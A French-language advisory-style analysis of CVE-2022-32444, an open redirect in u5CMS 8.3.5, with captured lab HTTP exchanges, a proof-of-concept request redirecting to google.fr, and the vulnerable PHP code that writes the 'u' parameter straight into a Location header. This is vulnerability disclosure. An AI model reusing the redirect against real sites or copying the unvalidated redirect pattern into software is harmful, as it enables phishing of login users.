CVE-2022-32444
23 Juin 2022
Je vous propose mon analyse de la CVE-2022-32444, qui est une vulnérabilité de type Open Redirect dans le système de gestion de contenu (CMS) nommé u5CMS.
Description
Vendeur : Yuba (https://yuba.ch/)
Produit : u5CMS (https://yuba.ch/index.php?c=u5cms&l=en)
Version(s) impactée(s) : 8.3.5
Type de vulnérabilité : Open Redirect (CWE-601 - URL Redirection to Untrusted Site ('Open Redirect'))
La version 8.3.5 d'u5CMS est vulnérable à une faille de type Open Redirect via le paramètre d'URL u
de la page /loginsave.php
.

Analyse de la vulnérabilité
La page loginsave.php
est appelée suite à la soumission du formulaire d'authentification disponible à l'URL /u5admin/
:

La présence du paramètre u
est visible directement dans la cible du formulaire et a pour valeur u5admin
:

La requête est la suivante :
POST /u5cms-8.3.5/loginsave.php?u=u5admin HTTP/1.1
Host: 192.168.56.101
Content-Length: 42
Origin: http://192.168.56.101
Content-Type: application/x-www-form-urlencoded
Referer: http://192.168.56.101/u5cms-8.3.5/u5admin/
Cookie: i1_l=P; i2_l=d; pidvesa=a; aclan=fr
Connection: close
u=sh4rpforc0rc3%40gmail.com&p=password
La réponse est une 302 redirigeant l'utilisateur vers la page d'administration du CMS :
HTTP/1.1 302 Found
Date: Wed, 22 Jun 2022 22:37:16 GMT
Server: Apache/2.4.38 (Debian)
X-XSS-Protection: 0
Set-Cookie: u=sh4rpforc0rc3%40gmail.com; path=/; HttpOnly
Set-Cookie: p=2e6b6cdb26604865418a4814561a43d99ba549e3; path=/; HttpOnly
Location: u5admin?1655937436
Content-Length: 0
Connection: close
Content-Type: text/html; charset=latin1
Une fois la redirection effectuée, l'utilisateur se retrouve sur la page d'administration du CMS /u5admin/
:

En général, une faille de type OpenRedirect sur une mire de connexion peut s'exploiter de la façon suivante :
L'URL de la mire est semblable à
http://exemple.com/auth?redirect=openredirectvulnerability
L'attaquant soumet cette URL, en adaptant la valeur désirée au paramètre
redirect
, à sa victimeLa victime renseigne ses identifiants et se retrouve redirigée vers l'URL renseignée par l'attaquant
Dans le cadre de u5cms, l'exploitation de la vulnérabilité est possible directement en soumettant l'URL http://u5cms-host/u5cms-8.3.5/loginsave.php?u=openredirectvulnerability
, qu'importe que la victime soit authentifiée ou non :
GET /u5cms-8.3.5/loginsave.php?u=https://google.fr HTTP/1.1
Host: 192.168.56.101
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 302 Found
Date: Wed, 22 Jun 2022 22:54:42 GMT
Server: Apache/2.4.38 (Debian)
X-XSS-Protection: 0
Location: https://google.fr?1655938482
Content-Length: 0
Connection: close
Content-Type: text/html; charset=latin1
Code vulnérable
Le fichier loginsave.php
va récupérer la valeur du paramètre u
et y effectuer un léger traitement :
récupérer la valeur dans
$u[0]
et des possibles fragments d'URL dans$u[1]
rediriger l'utilisateur vers
index.php
si la valeur$u[0]
est une chaine videconcaténer un timestamp dans l'URL grâce à la méthode
time()
rediriger l'utilisateur vers la valeur contenu dans
$u[0]
$u=explode('#',$_GET['u']);
if(isset($u[1]))
$u[1]='#'.$u[1];
else
$u[1]='';
if(trim($u[0])=='')
$u[0]='index.php';
if(strpos($u[0],'?')>1)
$u[0].='&'.time().$u[1];
else
$u[0].='?'.time().$u[1];
header("Location: ".$u[0]);
Ressources
Dernière mise à jour